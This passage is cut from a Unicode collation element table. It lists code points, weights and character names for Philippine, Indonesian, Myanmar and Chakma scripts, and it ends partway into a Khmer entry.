[.2E34.0020.0002] # HANUNOO LETTER MA +172C ; [.2E35.0020.0002] # HANUNOO LETTER YA +172D ; [.2E36.0020.0002] # HANUNOO LETTER RA +172E ; [.2E37.0020.0002] # HANUNOO LETTER LA +172F ; [.2E38.0020.0002] # HANUNOO LETTER WA +1730 ; [.2E39.0020.0002] # HANUNOO LETTER SA +1731 ; [.2E3A.0020.0002] # HANUNOO LETTER HA +1732 ; [.2E3B.0020.0002] # HANUNOO VOWEL SIGN I +1733 ; [.2E3C.0020.0002] # HANUNOO VOWEL SIGN U +1734 ; [.2E3D.0020.0002] # HANUNOO SIGN PAMUDPOD +1740 ; [.2E3E.0020.0002] # BUHID LETTER A +1741 ; [.2E3F.0020.0002] # BUHID LETTER I +1742 ; [.2E40.0020.0002] # BUHID LETTER U +1743 ; [.2E41.0020.0002] # BUHID LETTER KA +1744 ; [.2E42.0020.0002] # BUHID LETTER GA +1745 ; [.2E43.0020.0002] # BUHID LETTER NGA +1746 ; [.2E44.0020.0002] # BUHID LETTER TA +1747 ; [.2E45.0020.0002] # BUHID LETTER DA +1748 ; [.2E46.0020.0002] # BUHID LETTER NA +1749 ; [.2E47.0020.0002] # BUHID LETTER PA +174A ; [.2E48.0020.0002] # BUHID LETTER BA +174B ; [.2E49.0020.0002] # BUHID LETTER MA +174C ; [.2E4A.0020.0002] # BUHID LETTER YA +174D ; [.2E4B.0020.0002] # BUHID LETTER RA +174E ; [.2E4C.0020.0002] # BUHID LETTER LA +174F ; [.2E4D.0020.0002] # BUHID LETTER WA +1750 ; [.2E4E.0020.0002] # BUHID LETTER SA +1751 ; [.2E4F.0020.0002] # BUHID LETTER HA +1752 ; [.2E50.0020.0002] # BUHID VOWEL SIGN I +1753 ; [.2E51.0020.0002] # BUHID VOWEL SIGN U +1760 ; [.2E52.0020.0002] # TAGBANWA LETTER A +1761 ; [.2E53.0020.0002] # TAGBANWA LETTER I +1762 ; [.2E54.0020.0002] # TAGBANWA LETTER U +1763 ; [.2E55.0020.0002] # TAGBANWA LETTER KA +1764 ; [.2E56.0020.0002] # TAGBANWA LETTER GA +1765 ; [.2E57.0020.0002] # TAGBANWA LETTER NGA +1766 ; [.2E58.0020.0002] # TAGBANWA LETTER TA +1767 ; [.2E59.0020.0002] # TAGBANWA LETTER DA +1768 ; [.2E5A.0020.0002] # TAGBANWA LETTER NA +1769 ; [.2E5B.0020.0002] # TAGBANWA LETTER PA +176A ; [.2E5C.0020.0002] # TAGBANWA LETTER BA +176B ; [.2E5D.0020.0002] # TAGBANWA LETTER MA +176C ; [.2E5E.0020.0002] # TAGBANWA LETTER YA +176E ; [.2E5F.0020.0002] # TAGBANWA LETTER LA +176F ; [.2E60.0020.0002] # TAGBANWA LETTER WA +1770 ; [.2E61.0020.0002] # TAGBANWA LETTER SA +1772 ; [.2E62.0020.0002] # TAGBANWA VOWEL SIGN I +1773 ; [.2E63.0020.0002] # TAGBANWA VOWEL SIGN U +1A00 ; [.2E64.0020.0002] # BUGINESE LETTER KA +1A01 ; [.2E65.0020.0002] # BUGINESE LETTER GA +1A02 ; [.2E66.0020.0002] # BUGINESE LETTER NGA +1A03 ; [.2E67.0020.0002] # BUGINESE LETTER NGKA +1A04 ; [.2E68.0020.0002] # BUGINESE LETTER PA +1A05 ; [.2E69.0020.0002] # BUGINESE LETTER BA +1A06 ; [.2E6A.0020.0002] # BUGINESE LETTER MA +1A07 ; [.2E6B.0020.0002] # BUGINESE LETTER MPA +1A08 ; [.2E6C.0020.0002] # BUGINESE LETTER TA +1A09 ; [.2E6D.0020.0002] # BUGINESE LETTER DA +1A0A ; [.2E6E.0020.0002] # BUGINESE LETTER NA +1A0B ; [.2E6F.0020.0002] # BUGINESE LETTER NRA +1A0C ; [.2E70.0020.0002] # BUGINESE LETTER CA +1A0D ; [.2E71.0020.0002] # BUGINESE LETTER JA +1A0E ; [.2E72.0020.0002] # BUGINESE LETTER NYA +1A0F ; [.2E73.0020.0002] # BUGINESE LETTER NYCA +1A10 ; [.2E74.0020.0002] # BUGINESE LETTER YA +1A11 ; [.2E75.0020.0002] # BUGINESE LETTER RA +1A12 ; [.2E76.0020.0002] # BUGINESE LETTER LA +1A13 ; [.2E77.0020.0002] # BUGINESE LETTER VA +1A14 ; [.2E78.0020.0002] # BUGINESE LETTER SA +1A15 ; [.2E79.0020.0002] # BUGINESE LETTER A +1A16 ; [.2E7A.0020.0002] # BUGINESE LETTER HA +1A17 ; [.2E7B.0020.0002] # BUGINESE VOWEL SIGN I +1A18 ; [.2E7C.0020.0002] # BUGINESE VOWEL SIGN U +1A19 ; [.2E7D.0020.0002] # BUGINESE VOWEL SIGN E +1A1A ; [.2E7E.0020.0002] # BUGINESE VOWEL SIGN O +1A1B ; [.2E7F.0020.0002] # BUGINESE VOWEL SIGN AE +1BC0 ; [.2E80.0020.0002] # BATAK LETTER A +1BC1 ; [.2E80.0020.0004] # BATAK LETTER SIMALUNGUN A +1BC2 ; [.2E81.0020.0002] # BATAK LETTER HA +1BC3 ; [.2E81.0020.0004] # BATAK LETTER SIMALUNGUN HA +1BC4 ; [.2E81.0020.0004] # BATAK LETTER MANDAILING HA +1BC5 ; [.2E82.0020.0002] # BATAK LETTER BA +1BC6 ; [.2E82.0020.0004] # BATAK LETTER KARO BA +1BC7 ; [.2E83.0020.0002] # BATAK LETTER PA +1BC8 ; [.2E83.0020.0004] # BATAK LETTER SIMALUNGUN PA +1BC9 ; [.2E84.0020.0002] # BATAK LETTER NA +1BCA ; [.2E84.0020.0004] # BATAK LETTER MANDAILING NA +1BCB ; [.2E85.0020.0002] # BATAK LETTER WA +1BCC ; [.2E85.0020.0004] # BATAK LETTER SIMALUNGUN WA +1BCD ; [.2E85.0020.0004] # BATAK LETTER PAKPAK WA +1BCE ; [.2E86.0020.0002] # BATAK LETTER GA +1BCF ; [.2E86.0020.0004] # BATAK LETTER SIMALUNGUN GA +1BD0 ; [.2E87.0020.0002] # BATAK LETTER JA +1BD1 ; [.2E88.0020.0002] # BATAK LETTER DA +1BD2 ; [.2E89.0020.0002] # BATAK LETTER RA +1BD3 ; [.2E89.0020.0004] # BATAK LETTER SIMALUNGUN RA +1BD4 ; [.2E8A.0020.0002] # BATAK LETTER MA +1BD5 ; [.2E8A.0020.0004] # BATAK LETTER SIMALUNGUN MA +1BD6 ; [.2E8B.0020.0002] # BATAK LETTER SOUTHERN TA +1BD7 ; [.2E8B.0020.0004] # BATAK LETTER NORTHERN TA +1BD8 ; [.2E8C.0020.0002] # BATAK LETTER SA +1BD9 ; [.2E8C.0020.0004] # BATAK LETTER SIMALUNGUN SA +1BDA ; [.2E8C.0020.0004] # BATAK LETTER MANDAILING SA +1BDB ; [.2E8D.0020.0002] # BATAK LETTER YA +1BDC ; [.2E8D.0020.0004] # BATAK LETTER SIMALUNGUN YA +1BDD ; [.2E8E.0020.0002] # BATAK LETTER NGA +1BDE ; [.2E8F.0020.0002] # BATAK LETTER LA +1BDF ; [.2E8F.0020.0004] # BATAK LETTER SIMALUNGUN LA +1BE0 ; [.2E90.0020.0002] # BATAK LETTER NYA +1BE1 ; [.2E91.0020.0002] # BATAK LETTER CA +1BE2 ; [.2E92.0020.0002] # BATAK LETTER NDA +1BE3 ; [.2E93.0020.0002] # BATAK LETTER MBA +1BE4 ; [.2E94.0020.0002] # BATAK LETTER I +1BE5 ; [.2E95.0020.0002] # BATAK LETTER U +1BE7 ; [.2E96.0020.0002] # BATAK VOWEL SIGN E +1BE8 ; [.2E96.0020.0004] # BATAK VOWEL SIGN PAKPAK E +1BE9 ; [.2E97.0020.0002] # BATAK VOWEL SIGN EE +1BEA ; [.2E98.0020.0002] # BATAK VOWEL SIGN I +1BEB ; [.2E98.0020.0004] # BATAK VOWEL SIGN KARO I +1BEC ; [.2E99.0020.0002] # BATAK VOWEL SIGN O +1BED ; [.2E99.0020.0004] # BATAK VOWEL SIGN KARO O +1BEE ; [.2E9A.0020.0002] # BATAK VOWEL SIGN U +1BEF ; [.2E9A.0020.0004] # BATAK VOWEL SIGN U FOR SIMALUNGUN SA +1BF0 ; [.2E9B.0020.0002] # BATAK CONSONANT SIGN NG +1BF1 ; [.2E9C.0020.0002] # BATAK CONSONANT SIGN H +1BF2 ; [.2E9D.0020.0002] # BATAK PANGOLAT +1BF3 ; [.2E9E.0020.0002] # BATAK PANONGONAN +A930 ; [.2E9F.0020.0002] # REJANG LETTER KA +A931 ; [.2EA0.0020.0002] # REJANG LETTER GA +A932 ; [.2EA1.0020.0002] # REJANG LETTER NGA +A933 ; [.2EA2.0020.0002] # REJANG LETTER TA +A934 ; [.2EA3.0020.0002] # REJANG LETTER DA +A935 ; [.2EA4.0020.0002] # REJANG LETTER NA +A936 ; [.2EA5.0020.0002] # REJANG LETTER PA +A937 ; [.2EA6.0020.0002] # REJANG LETTER BA +A938 ; [.2EA7.0020.0002] # REJANG LETTER MA +A939 ; [.2EA8.0020.0002] # REJANG LETTER CA +A93A ; [.2EA9.0020.0002] # REJANG LETTER JA +A93B ; [.2EAA.0020.0002] # REJANG LETTER NYA +A93C ; [.2EAB.0020.0002] # REJANG LETTER SA +A93D ; [.2EAC.0020.0002] # REJANG LETTER RA +A93E ; [.2EAD.0020.0002] # REJANG LETTER LA +A93F ; [.2EAE.0020.0002] # REJANG LETTER YA +A940 ; [.2EAF.0020.0002] # REJANG LETTER WA +A941 ; [.2EB0.0020.0002] # REJANG LETTER HA +A942 ; [.2EB1.0020.0002] # REJANG LETTER MBA +A943 ; [.2EB2.0020.0002] # REJANG LETTER NGGA +A944 ; [.2EB3.0020.0002] # REJANG LETTER NDA +A945 ; [.2EB4.0020.0002] # REJANG LETTER NYJA +A946 ; [.2EB5.0020.0002] # REJANG LETTER A +A947 ; [.2EB6.0020.0002] # REJANG VOWEL SIGN I +A948 ; [.2EB7.0020.0002] # REJANG VOWEL SIGN U +A949 ; [.2EB8.0020.0002] # REJANG VOWEL SIGN E +A94A ; [.2EB9.0020.0002] # REJANG VOWEL SIGN AI +A94B ; [.2EBA.0020.0002] # REJANG VOWEL SIGN O +A94C ; [.2EBB.0020.0002] # REJANG VOWEL SIGN AU +A94D ; [.2EBC.0020.0002] # REJANG VOWEL SIGN EU +A94E ; [.2EBD.0020.0002] # REJANG VOWEL SIGN EA +A94F ; [.2EBE.0020.0002] # REJANG CONSONANT SIGN NG +A950 ; [.2EBF.0020.0002] # REJANG CONSONANT SIGN N +A951 ; [.2EC0.0020.0002] # REJANG CONSONANT SIGN R +A952 ; [.2EC1.0020.0002] # REJANG CONSONANT SIGN H +A953 ; [.2EC2.0020.0002] # REJANG VIRAMA +A90A ; [.2EC3.0020.0002] # KAYAH LI LETTER KA +A90B ; [.2EC4.0020.0002] # KAYAH LI LETTER KHA +A90C ; [.2EC5.0020.0002] # KAYAH LI LETTER GA +A90D ; [.2EC6.0020.0002] # KAYAH LI LETTER NGA +A90E ; [.2EC7.0020.0002] # KAYAH LI LETTER SA +A90F ; [.2EC8.0020.0002] # KAYAH LI LETTER SHA +A910 ; [.2EC9.0020.0002] # KAYAH LI LETTER ZA +A911 ; [.2ECA.0020.0002] # KAYAH LI LETTER NYA +A912 ; [.2ECB.0020.0002] # KAYAH LI LETTER TA +A913 ; [.2ECC.0020.0002] # KAYAH LI LETTER HTA +A914 ; [.2ECD.0020.0002] # KAYAH LI LETTER NA +A915 ; [.2ECE.0020.0002] # KAYAH LI LETTER PA +A916 ; [.2ECF.0020.0002] # KAYAH LI LETTER PHA +A917 ; [.2ED0.0020.0002] # KAYAH LI LETTER MA +A918 ; [.2ED1.0020.0002] # KAYAH LI LETTER DA +A919 ; [.2ED2.0020.0002] # KAYAH LI LETTER BA +A91A ; [.2ED3.0020.0002] # KAYAH LI LETTER RA +A91B ; [.2ED4.0020.0002] # KAYAH LI LETTER YA +A91C ; [.2ED5.0020.0002] # KAYAH LI LETTER LA +A91D ; [.2ED6.0020.0002] # KAYAH LI LETTER WA +A91E ; [.2ED7.0020.0002] # KAYAH LI LETTER THA +A91F ; [.2ED8.0020.0002] # KAYAH LI LETTER HA +A920 ; [.2ED9.0020.0002] # KAYAH LI LETTER VA +A921 ; [.2EDA.0020.0002] # KAYAH LI LETTER CA +A922 ; [.2EDB.0020.0002] # KAYAH LI LETTER A +A923 ; [.2EDC.0020.0002] # KAYAH LI LETTER OE +A924 ; [.2EDD.0020.0002] # KAYAH LI LETTER I +A925 ; [.2EDE.0020.0002] # KAYAH LI LETTER OO +A926 ; [.2EDF.0020.0002] # KAYAH LI VOWEL UE +A927 ; [.2EE0.0020.0002] # KAYAH LI VOWEL E +A928 ; [.2EE1.0020.0002] # KAYAH LI VOWEL U +A929 ; [.2EE2.0020.0002] # KAYAH LI VOWEL EE +A92A ; [.2EE3.0020.0002] # KAYAH LI VOWEL O +1000 ; [.2EE4.0020.0002] # MYANMAR LETTER KA +1075 ; [.2EE5.0020.0002] # MYANMAR LETTER SHAN KA +1001 ; [.2EE6.0020.0002] # MYANMAR LETTER KHA +1076 ; [.2EE7.0020.0002] # MYANMAR LETTER SHAN KHA +1002 ; [.2EE8.0020.0002] # MYANMAR LETTER GA +1077 ; [.2EE9.0020.0002] # MYANMAR LETTER SHAN GA +AA60 ; [.2EEA.0020.0002] # MYANMAR LETTER KHAMTI GA +A9E9 ; [.2EEB.0020.0002] # MYANMAR LETTER TAI LAING GA +1003 ; [.2EEC.0020.0002] # MYANMAR LETTER GHA +A9E0 ; [.2EED.0020.0002] # MYANMAR LETTER SHAN GHA +A9EA ; [.2EEE.0020.0002] # MYANMAR LETTER TAI LAING GHA +1004 ; [.2EEF.0020.0002] # MYANMAR LETTER NGA +105A ; [.2EF0.0020.0002] # MYANMAR LETTER MON NGA +1005 ; [.2EF1.0020.0002] # MYANMAR LETTER CA +1078 ; [.2EF2.0020.0002] # MYANMAR LETTER SHAN CA +AA61 ; [.2EF3.0020.0002] # MYANMAR LETTER KHAMTI CA +1006 ; [.2EF4.0020.0002] # MYANMAR LETTER CHA +A9E1 ; [.2EF5.0020.0002] # MYANMAR LETTER SHAN CHA +AA62 ; [.2EF6.0020.0002] # MYANMAR LETTER KHAMTI CHA +AA7E ; [.2EF7.0020.0002] # MYANMAR LETTER SHWE PALAUNG CHA +1007 ; [.2EF8.0020.0002] # MYANMAR LETTER JA +AA63 ; [.2EF9.0020.0002] # MYANMAR LETTER KHAMTI JA +A9EB ; [.2EFA.0020.0002] # MYANMAR LETTER TAI LAING JA +1079 ; [.2EFB.0020.0002] # MYANMAR LETTER SHAN ZA +AA72 ; [.2EFC.0020.0002] # MYANMAR LETTER KHAMTI ZA +1008 ; [.2EFD.0020.0002] # MYANMAR LETTER JHA +105B ; [.2EFE.0020.0002] # MYANMAR LETTER MON JHA +A9E2 ; [.2EFF.0020.0002] # MYANMAR LETTER SHAN JHA +AA64 ; [.2F00.0020.0002] # MYANMAR LETTER KHAMTI JHA +A9EC ; [.2F01.0020.0002] # MYANMAR LETTER TAI LAING JHA +1061 ; [.2F02.0020.0002] # MYANMAR LETTER SGAW KAREN SHA +AA7F ; [.2F03.0020.0002] # MYANMAR LETTER SHWE PALAUNG SHA +1009 ; [.2F04.0020.0002] # MYANMAR LETTER NYA +107A ; [.2F05.0020.0002] # MYANMAR LETTER SHAN NYA +AA65 ; [.2F06.0020.0002] # MYANMAR LETTER KHAMTI NYA +A9E7 ; [.2F07.0020.0002] # MYANMAR LETTER TAI LAING NYA +100A ; [.2F08.0020.0002] # MYANMAR LETTER NNYA +100B ; [.2F09.0020.0002] # MYANMAR LETTER TTA +AA66 ; [.2F0A.0020.0002] # MYANMAR LETTER KHAMTI TTA +100C ; [.2F0B.0020.0002] # MYANMAR LETTER TTHA +AA67 ; [.2F0C.0020.0002] # MYANMAR LETTER KHAMTI TTHA +100D ; [.2F0D.0020.0002] # MYANMAR LETTER DDA +AA68 ; [.2F0E.0020.0002] # MYANMAR LETTER KHAMTI DDA +A9ED ; [.2F0F.0020.0002] # MYANMAR LETTER TAI LAING DDA +100E ; [.2F10.0020.0002] # MYANMAR LETTER DDHA +AA69 ; [.2F11.0020.0002] # MYANMAR LETTER KHAMTI DDHA +A9EE ; [.2F12.0020.0002] # MYANMAR LETTER TAI LAING DDHA +100F ; [.2F13.0020.0002] # MYANMAR LETTER NNA +106E ; [.2F14.0020.0002] # MYANMAR LETTER EASTERN PWO KAREN NNA +A9E3 ; [.2F15.0020.0002] # MYANMAR LETTER SHAN NNA +A9EF ; [.2F16.0020.0002] # MYANMAR LETTER TAI LAING NNA +1010 ; [.2F17.0020.0002] # MYANMAR LETTER TA +1011 ; [.2F18.0020.0002] # MYANMAR LETTER THA +1012 ; [.2F19.0020.0002] # MYANMAR LETTER DA +107B ; [.2F1A.0020.0002] # MYANMAR LETTER SHAN DA +A9FB ; [.2F1B.0020.0002] # MYANMAR LETTER TAI LAING DA +1013 ; [.2F1C.0020.0002] # MYANMAR LETTER DHA +AA6A ; [.2F1D.0020.0002] # MYANMAR LETTER KHAMTI DHA +A9FC ; [.2F1E.0020.0002] # MYANMAR LETTER TAI LAING DHA +1014 ; [.2F1F.0020.0002] # MYANMAR LETTER NA +107C ; [.2F20.0020.0002] # MYANMAR LETTER SHAN NA +AA6B ; [.2F21.0020.0002] # MYANMAR LETTER KHAMTI NA +105E ; [.2F22.0020.0002] # MYANMAR CONSONANT SIGN MON MEDIAL NA +1015 ; [.2F23.0020.0002] # MYANMAR LETTER PA +1016 ; [.2F24.0020.0002] # MYANMAR LETTER PHA +107D ; [.2F25.0020.0002] # MYANMAR LETTER SHAN PHA +107E ; [.2F26.0020.0002] # MYANMAR LETTER SHAN FA +AA6F ; [.2F27.0020.0002] # MYANMAR LETTER KHAMTI FA +108E ; [.2F28.0020.0002] # MYANMAR LETTER RUMAI PALAUNG FA +A9E8 ; [.2F29.0020.0002] # MYANMAR LETTER TAI LAING FA +1017 ; [.2F2A.0020.0002] # MYANMAR LETTER BA +107F ; [.2F2B.0020.0002] # MYANMAR LETTER SHAN BA +A9FD ; [.2F2C.0020.0002] # MYANMAR LETTER TAI LAING BA +1018 ; [.2F2D.0020.0002] # MYANMAR LETTER BHA +A9E4 ; [.2F2E.0020.0002] # MYANMAR LETTER SHAN BHA +A9FE ; [.2F2F.0020.0002] # MYANMAR LETTER TAI LAING BHA +1019 ; [.2F30.0020.0002] # MYANMAR LETTER MA +105F ; [.2F31.0020.0002] # MYANMAR CONSONANT SIGN MON MEDIAL MA +101A ; [.2F32.0020.0002] # MYANMAR LETTER YA +103B ; [.2F33.0020.0002] # MYANMAR CONSONANT SIGN MEDIAL YA +101B ; [.2F34.0020.0002] # MYANMAR LETTER RA +AA73 ; [.2F35.0020.0002] # MYANMAR LETTER KHAMTI RA +AA7A ; [.2F36.0020.0002] # MYANMAR LETTER AITON RA +103C ; [.2F37.0020.0002] # MYANMAR CONSONANT SIGN MEDIAL RA +101C ; [.2F38.0020.0002] # MYANMAR LETTER LA +1060 ; [.2F39.0020.0002] # MYANMAR CONSONANT SIGN MON MEDIAL LA +101D ; [.2F3A.0020.0002] # MYANMAR LETTER WA +103D ; [.2F3B.0020.0002] # MYANMAR CONSONANT SIGN MEDIAL WA +1082 ; [.2F3C.0020.0002] # MYANMAR CONSONANT SIGN SHAN MEDIAL WA +1080 ; [.2F3D.0020.0002] # MYANMAR LETTER SHAN THA +1050 ; [.2F3E.0020.0002] # MYANMAR LETTER SHA +1051 ; [.2F3F.0020.0002] # MYANMAR LETTER SSA +1065 ; [.2F40.0020.0002] # MYANMAR LETTER WESTERN PWO KAREN THA +101E ; [.2F41.0020.0002] # MYANMAR LETTER SA +103F ; [.2F41.0020.0004][.2F7A.0020.0004][.2F41.0020.0004] # MYANMAR LETTER GREAT SA +AA6C ; [.2F42.0020.0002] # MYANMAR LETTER KHAMTI SA +101F ; [.2F43.0020.0002] # MYANMAR LETTER HA +1081 ; [.2F44.0020.0002] # MYANMAR LETTER SHAN HA +AA6D ; [.2F45.0020.0002] # MYANMAR LETTER KHAMTI HA +103E ; [.2F46.0020.0002] # MYANMAR CONSONANT SIGN MEDIAL HA +AA6E ; [.2F47.0020.0002] # MYANMAR LETTER KHAMTI HHA +AA71 ; [.2F48.0020.0002] # MYANMAR LETTER KHAMTI XA +1020 ; [.2F49.0020.0002] # MYANMAR LETTER LLA +A9FA ; [.2F4A.0020.0002] # MYANMAR LETTER TAI LAING LLA +105C ; [.2F4B.0020.0002] # MYANMAR LETTER MON BBA +105D ; [.2F4C.0020.0002] # MYANMAR LETTER MON BBE +106F ; [.2F4D.0020.0002] # MYANMAR LETTER EASTERN PWO KAREN YWA +1070 ; [.2F4E.0020.0002] # MYANMAR LETTER EASTERN PWO KAREN GHWA +1066 ; [.2F4F.0020.0002] # MYANMAR LETTER WESTERN PWO KAREN PWA +1021 ; [.2F50.0020.0002] # MYANMAR LETTER A +1022 ; [.2F51.0020.0002] # MYANMAR LETTER SHAN A +1023 ; [.2F52.0020.0002] # MYANMAR LETTER I +1024 ; [.2F53.0020.0002] # MYANMAR LETTER II +1025 ; [.2F54.0020.0002] # MYANMAR LETTER U +1026 ; [.2F55.0020.0002] # MYANMAR LETTER UU +1025 102E ; [.2F55.0020.0002] # MYANMAR LETTER UU +1052 ; [.2F56.0020.0002] # MYANMAR LETTER VOCALIC R +1053 ; [.2F57.0020.0002] # MYANMAR LETTER VOCALIC RR +1054 ; [.2F58.0020.0002] # MYANMAR LETTER VOCALIC L +1055 ; [.2F59.0020.0002] # MYANMAR LETTER VOCALIC LL +1027 ; [.2F5A.0020.0002] # MYANMAR LETTER E +1028 ; [.2F5B.0020.0002] # MYANMAR LETTER MON E +1029 ; [.2F5C.0020.0002] # MYANMAR LETTER O +102A ; [.2F5D.0020.0002] # MYANMAR LETTER AU +102C ; [.2F5E.0020.0002] # MYANMAR VOWEL SIGN AA +102B ; [.2F5E.0020.0004] # MYANMAR VOWEL SIGN TALL AA +1083 ; [.2F5F.0020.0002] # MYANMAR VOWEL SIGN SHAN AA +1072 ; [.2F60.0020.0002] # MYANMAR VOWEL SIGN KAYAH OE +109C ; [.2F61.0020.0002] # MYANMAR VOWEL SIGN AITON A +102D ; [.2F62.0020.0002] # MYANMAR VOWEL SIGN I +1071 ; [.2F63.0020.0002] # MYANMAR VOWEL SIGN GEBA KAREN I +102E ; [.2F64.0020.0002] # MYANMAR VOWEL SIGN II +1033 ; [.2F65.0020.0002] # MYANMAR VOWEL SIGN MON II +102F ; [.2F66.0020.0002] # MYANMAR VOWEL SIGN U +1073 ; [.2F67.0020.0002] # MYANMAR VOWEL SIGN KAYAH U +1074 ; [.2F68.0020.0002] # MYANMAR VOWEL SIGN KAYAH EE +1030 ; [.2F69.0020.0002] # MYANMAR VOWEL SIGN UU +1056 ; [.2F6A.0020.0002] # MYANMAR VOWEL SIGN VOCALIC R +1057 ; [.2F6B.0020.0002] # MYANMAR VOWEL SIGN VOCALIC RR +1058 ; [.2F6C.0020.0002] # MYANMAR VOWEL SIGN VOCALIC L +1059 ; [.2F6D.0020.0002] # MYANMAR VOWEL SIGN VOCALIC LL +1031 ; [.2F6E.0020.0002] # MYANMAR VOWEL SIGN E +1084 ; [.2F6F.0020.0002] # MYANMAR VOWEL SIGN SHAN E +1035 ; [.2F70.0020.0002] # MYANMAR VOWEL SIGN E ABOVE +1085 ; [.2F71.0020.0002] # MYANMAR VOWEL SIGN SHAN E ABOVE +1032 ; [.2F72.0020.0002] # MYANMAR VOWEL SIGN AI +109D ; [.2F73.0020.0002] # MYANMAR VOWEL SIGN AITON AI +1034 ; [.2F74.0020.0002] # MYANMAR VOWEL SIGN MON O +1062 ; [.2F75.0020.0002] # MYANMAR VOWEL SIGN SGAW KAREN EU +1067 ; [.2F76.0020.0002] # MYANMAR VOWEL SIGN WESTERN PWO KAREN EU +1068 ; [.2F77.0020.0002] # MYANMAR VOWEL SIGN WESTERN PWO KAREN UE +A9E5 ; [.2F78.0020.0002] # MYANMAR SIGN SHAN SAW +1086 ; [.2F79.0020.0002] # MYANMAR VOWEL SIGN SHAN FINAL Y +1039 ; [.2F7A.0020.0002] # MYANMAR SIGN VIRAMA +103A ; [.2F7B.0020.0002] # MYANMAR SIGN ASAT +1063 ; [.2F7C.0020.0002] # MYANMAR TONE MARK SGAW KAREN HATHI +1064 ; [.2F7D.0020.0002] # MYANMAR TONE MARK SGAW KAREN KE PHO +1069 ; [.2F7E.0020.0002] # MYANMAR SIGN WESTERN PWO KAREN TONE-1 +106A ; [.2F7F.0020.0002] # MYANMAR SIGN WESTERN PWO KAREN TONE-2 +106B ; [.2F80.0020.0002] # MYANMAR SIGN WESTERN PWO KAREN TONE-3 +106C ; [.2F81.0020.0002] # MYANMAR SIGN WESTERN PWO KAREN TONE-4 +106D ; [.2F82.0020.0002] # MYANMAR SIGN WESTERN PWO KAREN TONE-5 +1087 ; [.2F83.0020.0002] # MYANMAR SIGN SHAN TONE-2 +108B ; [.2F84.0020.0002] # MYANMAR SIGN SHAN COUNCIL TONE-2 +1088 ; [.2F85.0020.0002] # MYANMAR SIGN SHAN TONE-3 +108C ; [.2F86.0020.0002] # MYANMAR SIGN SHAN COUNCIL TONE-3 +108D ; [.2F87.0020.0002] # MYANMAR SIGN SHAN COUNCIL EMPHATIC TONE +1089 ; [.2F88.0020.0002] # MYANMAR SIGN SHAN TONE-5 +108A ; [.2F89.0020.0002] # MYANMAR SIGN SHAN TONE-6 +108F ; [.2F8A.0020.0002] # MYANMAR SIGN RUMAI PALAUNG TONE-5 +109A ; [.2F8B.0020.0002] # MYANMAR SIGN KHAMTI TONE-1 +109B ; [.2F8C.0020.0002] # MYANMAR SIGN KHAMTI TONE-3 +AA7B ; [.2F8D.0020.0002] # MYANMAR SIGN PAO KAREN TONE +AA7C ; [.2F8E.0020.0002] # MYANMAR SIGN TAI LAING TONE-2 +AA7D ; [.2F8F.0020.0002] # MYANMAR SIGN TAI LAING TONE-5 +AA74 ; [.2F90.0020.0002] # MYANMAR LOGOGRAM KHAMTI OAY +AA75 ; [.2F91.0020.0002] # MYANMAR LOGOGRAM KHAMTI QN +AA76 ; [.2F92.0020.0002] # MYANMAR LOGOGRAM KHAMTI HM +11103 ; [.2F93.0020.0002] # CHAKMA LETTER AA +11104 ; [.2F94.0020.0002] # CHAKMA LETTER I +11105 ; [.2F95.0020.0002] # CHAKMA LETTER U +11106 ; [.2F96.0020.0002] # CHAKMA LETTER E +11107 ; [.2F97.0020.0002] # CHAKMA LETTER KAA +11108 ; [.2F98.0020.0002] # CHAKMA LETTER KHAA +11109 ; [.2F99.0020.0002] # CHAKMA LETTER GAA +1110A ; [.2F9A.0020.0002] # CHAKMA LETTER GHAA +1110B ; [.2F9B.0020.0002] # CHAKMA LETTER NGAA +1110C ; [.2F9C.0020.0002] # CHAKMA LETTER CAA +1110D ; [.2F9D.0020.0002] # CHAKMA LETTER CHAA +1110E ; [.2F9E.0020.0002] # CHAKMA LETTER JAA +1110F ; [.2F9F.0020.0002] # CHAKMA LETTER JHAA +11110 ; [.2FA0.0020.0002] # CHAKMA LETTER NYAA +11111 ; [.2FA1.0020.0002] # CHAKMA LETTER TTAA +11112 ; [.2FA2.0020.0002] # CHAKMA LETTER TTHAA +11113 ; [.2FA3.0020.0002] # CHAKMA LETTER DDAA +11114 ; [.2FA4.0020.0002] # CHAKMA LETTER DDHAA +11115 ; [.2FA5.0020.0002] # CHAKMA LETTER NNAA +11116 ; [.2FA6.0020.0002] # CHAKMA LETTER TAA +11117 ; [.2FA7.0020.0002] # CHAKMA LETTER THAA +11118 ; [.2FA8.0020.0002] # CHAKMA LETTER DAA +11119 ; [.2FA9.0020.0002] # CHAKMA LETTER DHAA +1111A ; [.2FAA.0020.0002] # CHAKMA LETTER NAA +1111B ; [.2FAB.0020.0002] # CHAKMA LETTER PAA +1111C ; [.2FAC.0020.0002] # CHAKMA LETTER PHAA +1111D ; [.2FAD.0020.0002] # CHAKMA LETTER BAA +1111E ; [.2FAE.0020.0002] # CHAKMA LETTER BHAA +1111F ; [.2FAF.0020.0002] # CHAKMA LETTER MAA +11120 ; [.2FB0.0020.0002] # CHAKMA LETTER YYAA +11121 ; [.2FB1.0020.0002] # CHAKMA LETTER YAA +11122 ; [.2FB2.0020.0002] # CHAKMA LETTER RAA +11123 ; [.2FB3.0020.0002] # CHAKMA LETTER LAA +11124 ; [.2FB4.0020.0002] # CHAKMA LETTER WAA +11125 ; [.2FB5.0020.0002] # CHAKMA LETTER SAA +11126 ; [.2FB6.0020.0002] # CHAKMA LETTER HAA +11127 ; [.2FB7.0020.0002] # CHAKMA VOWEL SIGN A +11128 ; [.2FB8.0020.0002] # CHAKMA VOWEL SIGN I +11129 ; [.2FB9.0020.0002] # CHAKMA VOWEL SIGN II +1112A ; [.2FBA.0020.0002] # CHAKMA VOWEL SIGN U +1112B ; [.2FBB.0020.0002] # CHAKMA VOWEL SIGN UU +1112C ; [.2FBC.0020.0002] # CHAKMA VOWEL SIGN E +1112D ; [.2FBD.0020.0002] # CHAKMA VOWEL SIGN AI +1112E ; [.2FBE.0020.0002] # CHAKMA VOWEL SIGN O +11131 11127 ; [.2FBE.0020.0002] # CHAKMA VOWEL SIGN O +1112F ; [.2FBF.0020.0002] # CHAKMA VOWEL SIGN AU +11132 11127 ; [.2FBF.0020.0002] # CHAKMA VOWEL SIGN AU +11130 ; [.2FC0.0020.0002] # CHAKMA VOWEL SIGN OI +11131 ; [.2FC1.0020.0002] # CHAKMA O MARK +11132 ; [.2FC2.0020.0002] # CHAKMA AU MARK +11133 ; [.2FC3.0020.0002] # CHAKMA VIRAMA +11134 ; [.2FC4.0020.0002] # CHAKMA MAAYYAA +1780 ; [.2FC5.0020.0002] # KHMER LETTER KA +1781 ; 